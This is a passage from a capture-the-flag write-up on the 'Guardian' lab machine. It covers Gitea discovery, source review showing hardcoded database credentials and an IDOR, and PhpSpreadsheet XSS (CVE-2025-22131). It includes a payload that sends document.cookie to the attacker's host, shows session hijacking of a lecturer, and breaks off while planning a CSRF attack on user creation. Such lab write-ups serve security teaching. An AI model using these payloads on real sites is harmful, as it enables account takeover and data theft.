<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ffuf <span class="nt">-u</span> http://10.129.237.248 <span class="nt">-H</span> <span class="s2">"Host: FUZZ.guardian.htb"</span> <span class="nt">-w</span> &lt;<span class="o">(</span> <span class="nb">cat</span> /opt/SecLists/Discovery/DNS/<span class="k">*</span> | <span class="nb">grep </span>git | <span class="nb">sort</span> <span class="nt">-u</span> <span class="o">)</span> <span class="nt">-ac</span>
<span class="go">
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.237.248
 :: Wordlist         : FUZZ: /dev/fd/63
 :: Header           : Host: FUZZ.guardian.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

gitea                   [Status: 200, Size: 13498, Words: 1049, Lines: 245, Duration: 27ms]
:: Progress: [14485/14485] :: Job [1/1] :: 1769 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
</span></code></pre></div></div>

<p>I could have probably just guessed it would be <code class="language-plaintext highlighter-rouge">gitea.guardian.htb</code>. I’ll add this to my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file. Now visiting <code class="language-plaintext highlighter-rouge">http://gitea.guardian.htb</code> returns an instance of <a href="https://about.gitea.com/">Gitea</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260223184604254.webp" />
    <img loading="lazy" src="/img/image-20260223184604254.png" alt="image-20260223184604254" class="include_image " />
</picture>

<p>The username <code class="language-plaintext highlighter-rouge">jamil.enockson@guardian.htb</code> with the password from chat works to login!</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260223184657416.webp" />
    <img loading="lazy" src="/img/image-20260223184657416.png" alt="image-20260223184657416" class="include_image " />
</picture>

<h3 id="lecturer-portal-access">Lecturer Portal Access</h3>

<h4 id="source-code-overview">Source Code Overview</h4>

<p>I’ll clone the <code class="language-plaintext highlighter-rouge">portal.guardian.htb</code> repo to my host, putting the username and password in the URL (encoding the “@” in the email):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git clone http://jamil.enockson%40guardian.htb:DHsNnk3V503@gitea.guardian.htb/Guardian/portal.guardian.htb.git
<span class="go">Cloning into 'portal.guardian.htb'...
remote: Enumerating objects: 3555, done.
remote: Counting objects: 100% (3555/3555), done.
remote: Compressing objects: 100% (2758/2758), done.
remote: Total 3555 (delta 757), reused 3555 (delta 757), pack-reused 0
Receiving objects: 100% (3555/3555), 6.75 MiB | 15.67 MiB/s, done.
Resolving deltas: 100% (757/757), done.
Updating files: 100% (3326/3326), done.
</span></code></pre></div></div>

<p>The PHP project is set up with four main PHP pages at the root, along with the Composer configuration, and then directories for the various types of use:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224082736694.webp" />
    <img loading="lazy" src="/img/image-20260224082736694.png" alt="image-20260224082736694" class="include_image " />
</picture>

<p>The <code class="language-plaintext highlighter-rouge">composer.lock</code> file shows the external dependencies used:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"require"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"phpoffice/phpspreadsheet"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3.7.0"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"phpoffice/phpword"</span><span class="p">:</span><span class="w"> </span><span class="s2">"^1.3"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">config/config.php</code> file has creds to the database, as well as a salt value:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="k">return</span> <span class="p">[</span>
    <span class="s1">'db'</span> <span class="o">=&gt;</span> <span class="p">[</span>
        <span class="s1">'dsn'</span> <span class="o">=&gt;</span> <span class="s1">'mysql:host=localhost;dbname=guardiandb'</span><span class="p">,</span>
        <span class="s1">'username'</span> <span class="o">=&gt;</span> <span class="s1">'root'</span><span class="p">,</span>
        <span class="s1">'password'</span> <span class="o">=&gt;</span> <span class="s1">'Gu4rd14n_un1_1s_th3_b3st'</span><span class="p">,</span>
        <span class="s1">'options'</span> <span class="o">=&gt;</span> <span class="p">[]</span>
    <span class="p">],</span>
    <span class="s1">'salt'</span> <span class="o">=&gt;</span> <span class="s1">'8Sb)tM1vs1SS'</span>
<span class="p">];</span>
</code></pre></div></div>

<h4 id="chat-idor">Chat IDOR</h4>

<p>Not needed for going forward, but I’ll take a look at <code class="language-plaintext highlighter-rouge">/student/chat.php</code>. It starts by making sure that the user is authenticated and student:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">isAuthenticated</span><span class="p">()</span> <span class="o">||</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'user_role'</span><span class="p">]</span> <span class="o">!==</span> <span class="s1">'student'</span><span class="p">)</span> <span class="p">{</span>
    <span class="nb">header</span><span class="p">(</span><span class="s1">'Location: /login.php'</span><span class="p">);</span>
    <span class="k">exit</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The it gets the two IDs from the URL (so it’s not possible to have more than two people in a chat), and uses the <code class="language-plaintext highlighter-rouge">Message</code> model to get messages between those two users:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$chat_sender_id</span> <span class="o">=</span> <span class="p">(</span><span class="n">int</span><span class="p">)</span><span class="nv">$chat_users</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="nv">$chat_receiver_id</span> <span class="o">=</span> <span class="p">(</span><span class="n">int</span><span class="p">)</span><span class="nv">$chat_users</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="nv">$messageModel</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Message</span><span class="p">(</span><span class="nv">$pdo</span><span class="p">);</span>
<span class="nv">$messages</span> <span class="o">=</span> <span class="nv">$messageModel</span><span class="o">-&gt;</span><span class="nf">getMessagesBetweenUsers</span><span class="p">(</span><span class="nv">$chat_sender_id</span><span class="p">,</span> <span class="nv">$chat_receiver_id</span><span class="p">);</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">Message</code> model is defined in <code class="language-plaintext highlighter-rouge">models/Message.php</code>, and <code class="language-plaintext highlighter-rouge">getMessageBetweenUsers</code> simply formats and makes an SQL query:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">public</span> <span class="k">function</span> <span class="n">getMessagesBetweenUsers</span><span class="p">(</span><span class="nv">$user1_id</span><span class="p">,</span> <span class="nv">$user2_id</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"SELECT m.*, s.username as sender_name, r.username as receiver_name 
                FROM </span><span class="si">{</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">table</span><span class="si">}</span><span class="s2"> m
                JOIN users s ON m.sender_id = s.user_id
                JOIN users r ON m.receiver_id = r.user_id
                WHERE (m.sender_id = :user1_id AND m.receiver_id = :user2_id) 
                   OR (m.sender_id = :user2_id AND m.receiver_id = :user1_id)
                ORDER BY m.sent_at ASC"</span><span class="p">;</span>
        <span class="nv">$stmt</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">db</span><span class="o">-&gt;</span><span class="nf">prepare</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
        <span class="nv">$stmt</span><span class="o">-&gt;</span><span class="nf">execute</span><span class="p">([</span><span class="s1">'user1_id'</span> <span class="o">=&gt;</span> <span class="nv">$user1_id</span><span class="p">,</span> <span class="s1">'user2_id'</span> <span class="o">=&gt;</span> <span class="nv">$user2_id</span><span class="p">]);</span>
        <span class="k">return</span> <span class="nv">$stmt</span><span class="o">-&gt;</span><span class="nf">fetchAll</span><span class="p">(</span><span class="no">PDO</span><span class="o">::</span><span class="no">FETCH_ASSOC</span><span class="p">);</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>There’s no validation at any point, which is why the IDOR works.</p>

<h4 id="xss-in-assignment-submission">XSS in Assignment Submission</h4>

<p>The only other place I could see in the site to submit something as a user is the assignment upload. The <code class="language-plaintext highlighter-rouge">composer.json</code> shows the versions. Searching for CVEs in this version of <code class="language-plaintext highlighter-rouge">phpword</code> doesn’t find anything interesting. Searching for <code class="language-plaintext highlighter-rouge">phpspreadsheet</code> however returns several different CVEs:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224085305771.webp" />
    <img loading="lazy" src="/img/image-20260224085305771.png" alt="image-20260224085305771" class="include_image " />
</picture>

<p>The <a href="https://github.com/PHPOffice/PhpSpreadsheet/security">Security Page</a> on the PHPOffice GitHub is a quick way to look through known vulnerabilities. Two jump out as applying to 3.7.0:</p>

<ul>
  <li><a href="https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f">CVE-2025-23210</a> - XSS when parsing an XML file.</li>
  <li><a href="https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx">CVE-2025-22131</a> - XSS when parsing an XLSX file.</li>
</ul>

<p>Given the filter on the upload noted <a href="#authenticated-enumeration">above</a>, I’ll focus on the second one. The example vulnerable code in the advisory looks like:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
	<span class="k">require</span> <span class="k">__DIR__</span> <span class="mf">.</span> <span class="s1">'/vendor/autoload.php'</span><span class="p">;</span>

	<span class="nv">$inputFileName</span> <span class="o">=</span> <span class="s1">'payload.xlsx'</span><span class="p">;</span>
	<span class="nv">$spreadsheet</span> <span class="o">=</span> <span class="nc">\PhpOffice\PhpSpreadsheet\IOFactory</span><span class="o">::</span><span class="nf">load</span><span class="p">(</span><span class="nv">$inputFileName</span><span class="p">);</span>
	<span class="nv">$writer</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">\PhpOffice\PhpSpreadsheet\Writer\Html</span><span class="p">(</span><span class="nv">$spreadsheet</span><span class="p">);</span>
	<span class="nv">$writer</span><span class="o">-&gt;</span><span class="nf">writeAllSheets</span><span class="p">();</span>
	<span class="k">echo</span> <span class="nv">$writer</span><span class="o">-&gt;</span><span class="nf">generateHTMLAll</span><span class="p">();</span>
<span class="cp">?&gt;</span>
</code></pre></div></div>

<p>There’s a <code class="language-plaintext highlighter-rouge">lecturer/view-submission.php</code> file that handles student uploads for lecturers. It processes uploaded spreadsheets with this code:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">if</span> <span class="p">(</span><span class="nb">pathinfo</span><span class="p">(</span><span class="s1">'../attachment_uploads/'</span> <span class="mf">.</span> <span class="nv">$submission</span><span class="p">[</span><span class="s1">'attachment_name'</span><span class="p">],</span> <span class="no">PATHINFO_EXTENSION</span><span class="p">)</span> <span class="o">===</span> <span class="s1">'xlsx'</span><span class="p">)</span><span class="o">:</span> <span class="cp">?&gt;</span>
    <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"mt-8"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;h3</span> <span class="na">class=</span><span class="s">"font-semibold text-gray-800 mb-3"</span><span class="nt">&gt;</span>Document Preview<span class="nt">&lt;/h3&gt;</span>
        <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"overflow-x-auto bg-white p-4 border border-gray-200 rounded-lg"</span><span class="nt">&gt;</span>
            <span class="cp">&lt;?php</span>
            <span class="nv">$spreadsheet</span> <span class="o">=</span> <span class="nc">IOFactory</span><span class="o">::</span><span class="nf">load</span><span class="p">(</span><span class="s1">'../attachment_uploads/'</span> <span class="mf">.</span> <span class="nv">$submission</span><span class="p">[</span><span class="s1">'attachment_name'</span><span class="p">]);</span>
            <span class="nv">$writer</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Html</span><span class="p">(</span><span class="nv">$spreadsheet</span><span class="p">);</span>
            <span class="nv">$writer</span><span class="o">-&gt;</span><span class="nf">writeAllSheets</span><span class="p">();</span>
            <span class="k">echo</span> <span class="nv">$writer</span><span class="o">-&gt;</span><span class="nf">generateHTMLAll</span><span class="p">();</span>
            <span class="cp">?&gt;</span>
        <span class="nt">&lt;/div&gt;</span>
    <span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<p>That looks exactly the same!</p>

<h4 id="generate-payload">Generate Payload</h4>

<p>The cookie used for state on this site is not set as <code class="language-plaintext highlighter-rouge">httpOnly</code>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224092846164.webp" />
    <img loading="lazy" src="/img/image-20260224092846164.png" alt="image-20260224092846164" class="include_image " />
</picture>

<p>That means I can exfil it using XSS, with a payload like <code class="language-plaintext highlighter-rouge">"&gt; &lt;img src=x onerror=fetch('http://10.10.14.60/exfil?cookie='+document.cookie)&gt;</code>. The advisory shows putting the payload as the name of a sheet. Libre Office Calc doesn’t let me rename a sheet like that:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224093231852.webp" />
    <img loading="lazy" src="/img/image-20260224093231852.png" alt="image-20260224093231852" class="include_image " />
</picture>

<p>I’ll save a workbook with two empty sheets as <code class="language-plaintext highlighter-rouge">cookie.xlsx</code>, and unzip it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>unzip cookie.xlsx <span class="nt">-d</span> xssbook/
<span class="go">Archive:  cookie.xlsx
  inflating: xssbook/xl/_rels/workbook.xml.rels  
  inflating: xssbook/xl/workbook.xml  
  inflating: xssbook/xl/theme/theme1.xml  
  inflating: xssbook/xl/styles.xml   
  inflating: xssbook/xl/worksheets/sheet1.xml  
  inflating: xssbook/xl/worksheets/sheet2.xml  
  inflating: xssbook/_rels/.rels     
  inflating: xssbook/docProps/core.xml  
  inflating: xssbook/docProps/app.xml  
  inflating: xssbook/[Content_Types].xml  
</span></code></pre></div></div>

<p>The tab names are in <code class="language-plaintext highlighter-rouge">xl/workbook.xml</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">grep</span> <span class="nt">-r</span> Sheet2 xssbook/
<span class="go">xssbook/xl/workbook.xml:&lt;workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"&gt;&lt;fileVersion appName="Calc"/&gt;&lt;workbookPr backupFile="false" showObjects="all" date1904="false"/&gt;&lt;workbookProtection/&gt;&lt;bookViews&gt;&lt;workbookView showHorizontalScroll="true" showVerticalScroll="true" showSheetTabs="true" xWindow="0" yWindow="0" windowWidth="16384" windowHeight="8192" tabRatio="500" firstSheet="0" activeTab="1"/&gt;&lt;/bookViews&gt;&lt;sheets&gt;&lt;sheet name="Sheet1" sheetId="1" state="visible" r:id="rId3"/&gt;&lt;sheet name="Sheet2" sheetId="2" state="visible" r:id="rId4"/&gt;&lt;/sheets&gt;&lt;calcPr iterateCount="100" refMode="A1" iterate="false" iterateDelta="0.001"/&gt;&lt;extLst&gt;&lt;ext xmlns:loext="http://schemas.libreoffice.org/" uri="{7626C862-2A13-11E5-B345-FEFF819CDC9F}"&gt;&lt;loext:extCalcPr stringRefSyntax="CalcA1"/&gt;&lt;/ext&gt;&lt;/extLst&gt;&lt;/workbook&gt;
</span></code></pre></div></div>

<p>To edit the file inside the zip archive that is the Office doc, I like to use <code class="language-plaintext highlighter-rouge">vim</code>, as it can edit files inside the zip without changing the zip metadata or my having to re-zip it. I’ll make a copy of the empty workbook and open it with <code class="language-plaintext highlighter-rouge">vim xss.xlsx</code>. It shows a list of the files inside the archive:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224135030216.webp" />
    <img loading="lazy" src="/img/image-20260224135030216.png" alt="image-20260224135030216" class="include_image " />
</picture>

<p>I’ll move the cursor down to <code class="language-plaintext highlighter-rouge">xl/workbook.xml</code> and hit enter. It opens that file. I’ll edit the name, HTML-encoding the tags:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260225200640535.webp" />
    <img loading="lazy" src="/img/image-20260225200640535.png" alt="image-20260225200640535" class="include_image " />
</picture>

<p>Now <code class="language-plaintext highlighter-rouge">:wq</code> to exit back to the zip archive view, and then <code class="language-plaintext highlighter-rouge">:q</code> to exit (no need to write here, and it may even throw an error). The file is still an Excel doc:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>file xss.xlsx 
<span class="go">xss.xlsx: Microsoft Excel 2007+
</span></code></pre></div></div>

<h4 id="deploy-payload">Deploy Payload</h4>

<p>I’ll upload the document via the web form:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224094615246.webp" />
    <img loading="lazy" src="/img/image-20260224094615246.png" alt="image-20260224094615246" class="include_image " />
</picture>

<p>It reports success:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224094623095.webp" />
    <img loading="lazy" src="/img/image-20260224094623095.png" alt="image-20260224094623095" class="include_image " />
</picture>

<p>After a minute or two, there’s a hit on my Python webserver (<code class="language-plaintext highlighter-rouge">python -m http.server 80</code>):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">10.129.237.248 - - [24/Feb/2026 22:51:53] code 404, message File not found
10.129.237.248 - - [24/Feb/2026 22:51:53] "GET /exfil?cookie=PHPSESSID=0a9pcffih704fkjksd8e197enm HTTP/1.1" 404 -
</span></code></pre></div></div>

<p>I’ll set that as my cookie in Firefox dev tools and refresh the dashboard:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224154803590.webp" />
    <img loading="lazy" src="/img/image-20260224154803590.png" alt="image-20260224154803590" class="include_image " />
</picture>

<p>I’m now a lecturer named sammy.treat.</p>

<h3 id="admin-portal-access">Admin Portal Access</h3>

<h4 id="site-enumeration">Site Enumeration</h4>

<p>Looking around the site as lecturer, a major difference is the ability to create Notices:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224155021199.webp" />
    <img loading="lazy" src="/img/image-20260224155021199.png" alt="image-20260224155021199" class="include_image " />
</picture>

<p>Clicking that opens a form:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224155103176.webp" />
    <img loading="lazy" src="/img/image-20260224155103176.png" alt="image-20260224155103176" class="include_image " />
</picture>

<p>It takes a title, content, and a link (which will be reviewed by the admin).</p>

<h4 id="link-click-poc">Link Click POC</h4>

<p>I’ll start by testing if the admin actually clicks the link.</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224155743102.webp" />
    <img loading="lazy" src="/img/image-20260224155743102.png" alt="image-20260224155743102" class="include_image " />
</picture>

<p>When I submit, it says it worked and is waiting for approval:</p>

<p>A minute later there’s a request:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">10.129.237.248 - - [24/Feb/2026 22:57:54] code 404, message File not found
10.129.237.248 - - [24/Feb/2026 22:57:54] "GET /notice HTTP/1.1" 404 -
10.129.237.248 - - [24/Feb/2026 22:57:54] code 404, message File not found
10.129.237.248 - - [24/Feb/2026 22:57:54] "GET /favicon.ico HTTP/1.1" 404 -
</span></code></pre></div></div>

<h4 id="identify-csrf-target">Identify CSRF Target</h4>

<p>If the admin is going to click on a link I send them, I can use the source code to look for endpoints that do something interesting that I can get the admin to request. If I find a GET request, I can just make a full URL and send it. However, if I need to POST, I’ll have to create a page that creates a fake form and autosubmits it, dealing with an CSRF protections along the way.</p>

<p>Because this site is built on raw PHP (which is going to be exceedingly rare now), I can look at the PHP files in the <code class="language-plaintext highlighter-rouge">admin</code> directory to get an idea of what actions might be possible:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>find <span class="nb">.</span> <span class="nt">-name</span> <span class="s1">'*.php'</span> | <span class="nb">grep</span> <span class="nt">-F</span> <span class="s1">'./admin'</span>
<span class="go">./admin/chat.php
./admin/reports/academic.php
./admin/reports/financial.php
./admin/reports/enrollment.php
./admin/reports/system.php
./admin/chats.php
./admin/profile.php
./admin/enrollments.php
./admin/index.php
./admin/notices/create.php
./admin/notices/delete.php
./admin/notices/index.php
./admin/notices/approve.php
./admin/createuser.php
./admin/settings.php
./admin/reports.php
./admin/users.php
./admin/courses.php
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">createuser.php</code> jumps out as interesting.</p>

<p>It imports some helper functions, creates a token, and validates that the user is logged in as an admin:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="k">require</span> <span class="s1">'../includes/auth.php'</span><span class="p">;</span>
<span class="k">require</span> <span class="s1">'../config/db.php'</span><span class="p">;</span>
<span class="k">require</span> <span class="s1">'../models/User.php'</span><span class="p">;</span>
<span class="k">require</span> <span class="s1">'../config/csrf-tokens.php'</span><span class="p">;</span>

<span class="nv">$token</span> <span class="o">=</span> <span class="nb">bin2hex</span><span class="p">(</span><span class="nb">random_bytes</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>
<span class="nf">add_token_to_pool</span><span class="p">(</span><span class="nv">$token</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">isAuthenticated</span><span class="p">()</span> <span class="o">||</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'user_role'</span><span class="p">]</span> <span class="o">!==</span> <span class="s1">'admin'</span><span class="p">)</span> <span class="p">{</span>
    <span class="nb">header</span><span class="p">(</span><span class="s1">'Location: /login.php'</span><span class="p">);</span>
    <span class="k">exit</span><span class="p">();</span>
<span class="p">}</span>

<span class="nv">$config</span> <span class="o">=</span> <span class="k">require</span> <span class="s1">'../config/config.php'</span><span class="p">;</span>
<span class="nv">$salt</span> <span class="o">=</span> <span class="nv">$config</span><span class="p">[</span><span class="s1">'salt'</span><span class="p">];</span>
</code></pre></div></div>

<p>If the request is a POST request, it does the work of creating a new user. First, it checks the CSRF token:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REQUEST_METHOD'</span><span class="p">]</span> <span class="o">===</span> <span class="s1">'POST'</span><span class="p">)</span> <span class="p">{</span>

    <span class="nv">$csrf_token</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'csrf_token'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">is_valid_token</span><span class="p">(</span><span class="nv">$csrf_token</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">die</span><span class="p">(</span><span class="s2">"Invalid CSRF token!"</span><span class="p">);</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>Once it’s past that, it gets the data for the new user, validates that none of it is empty, and then creates the new user:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nv">$username</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'username'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>
    <span class="nv">$password</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'password'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>
    <span class="nv">$full_name</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'full_name'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>
    <span class="nv">$email</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'email'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>
    <span class="nv">$dob</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'dob'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>
    <span class="nv">$address</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'address'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>
    <span class="nv">$user_role</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'user_role'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>

    <span class="c1">// Check for empty fields</span>
    <span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$username</span><span class="p">)</span> <span class="o">||</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$password</span><span class="p">)</span> <span class="o">||</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$full_name</span><span class="p">)</span> <span class="o">||</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$email</span><span class="p">)</span> <span class="o">||</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$dob</span><span class="p">)</span> <span class="o">||</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$address</span><span class="p">)</span> <span class="o">||</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$user_role</span><span class="p">))</span> <span class="p">{</span>
        <span class="nv">$error</span> <span class="o">=</span> <span class="s2">"All fields are required. Please fill in all fields."</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="nv">$password</span> <span class="o">=</span> <span class="nb">hash</span><span class="p">(</span><span class="s1">'sha256'</span><span class="p">,</span> <span class="nv">$password</span> <span class="mf">.</span> <span class="nv">$salt</span><span class="p">);</span>

        <span class="nv">$data</span> <span class="o">=</span> <span class="p">[</span>
            <span class="s1">'username'</span> <span class="o">=&gt;</span> <span class="nv">$username</span><span class="p">,</span>
            <span class="s1">'password_hash'</span> <span class="o">=&gt;</span> <span class="nv">$password</span><span class="p">,</span>
            <span class="s1">'full_name'</span> <span class="o">=&gt;</span> <span class="nv">$full_name</span><span class="p">,</span>
            <span class="s1">'email'</span> <span class="o">=&gt;</span> <span class="nv">$email</span><span class="p">,</span>
            <span class="s1">'dob'</span> <span class="o">=&gt;</span> <span class="nv">$dob</span><span class="p">,</span>
            <span class="s1">'address'</span> <span class="o">=&gt;</span> <span class="nv">$address</span><span class="p">,</span>
            <span class="s1">'user_role'</span> <span class="o">=&gt;</span> <span class="nv">$user_role</span>
        <span class="p">];</span>

        <span class="k">if</span> <span class="p">(</span><span class="nv">$userModel</span><span class="o">-&gt;</span><span class="nf">create</span><span class="p">(</span><span class="nv">$data</span><span class="p">))</span> <span class="p">{</span>
            <span class="nb">header</span><span class="p">(</span><span class="s1">'Location: /admin/users.php?created=true'</span><span class="p">);</span>
            <span class="k">exit</span><span class="p">();</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="nv">$error</span> <span class="o">=</span> <span class="s2">"Failed to create user. Please try again."</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I can create a page that submits this POST request as the phished user, but I’ll need a valid CSRF token. For this, I’ll look into <code class="language-plaintext highlighter-rouge">add_token_to_pool</code> and <code class="language-plaintext highlighter-rouge">is_valid_token</code>. Both of these are defined in <code class="language-plaintext highlighter-rouge">config/csrf-tokens.php</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>

<span class="nv">$global_tokens_file</span> <span class="o">=</span> <span class="k">__DIR__</span> <span class="mf">.</span> <span class="s1">'/tokens.json'</span><span class="p">;</span>

<span class="k">function</span> <span class="n">get_token_pool</span><span class="p">()</span>
<span class="p">{</span>
    <span class="k">global</span> <span class="nv">$global_tokens_file</span><span class="p">;</span>
    <span class="k">return</span> <span class="nb">file_exists</span><span class="p">(</span><span class="nv">$global_tokens_file</span><span class="p">)</span> <span class="o">?</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$global_tokens_file</span><span class="p">),</span> <span class="kc">true</span><span class="p">)</span> <span class="o">:</span> <span class="p">[];</span>
<span class="p">}</span>

<span class="k">function</span> <span class="n">add_token_to_pool</span><span class="p">(</span><span class="nv">$token</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">global</span> <span class="nv">$global_tokens_file</span><span class="p">;</span>
    <span class="nv">$tokens</span> <span class="o">=</span> <span class="nf">get_token_pool</span><span class="p">();</span>
    <span class="nv">$tokens</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$token</span><span class="p">;</span>
    <span class="nb">file_put_contents</span><span class="p">(</span><span class="nv">$global_tokens_file</span><span class="p">,</span> <span class="nb">json_encode</span><span class="p">(</span><span class="nv">$tokens</span><span class="p">));</span>
<span class="p">}</span>

<span class="k">function</span> <span class="n">is_valid_token</span><span class="p">(</span><span class="nv">$token</span><span class="p">)</span>
<span class="p">{</span>
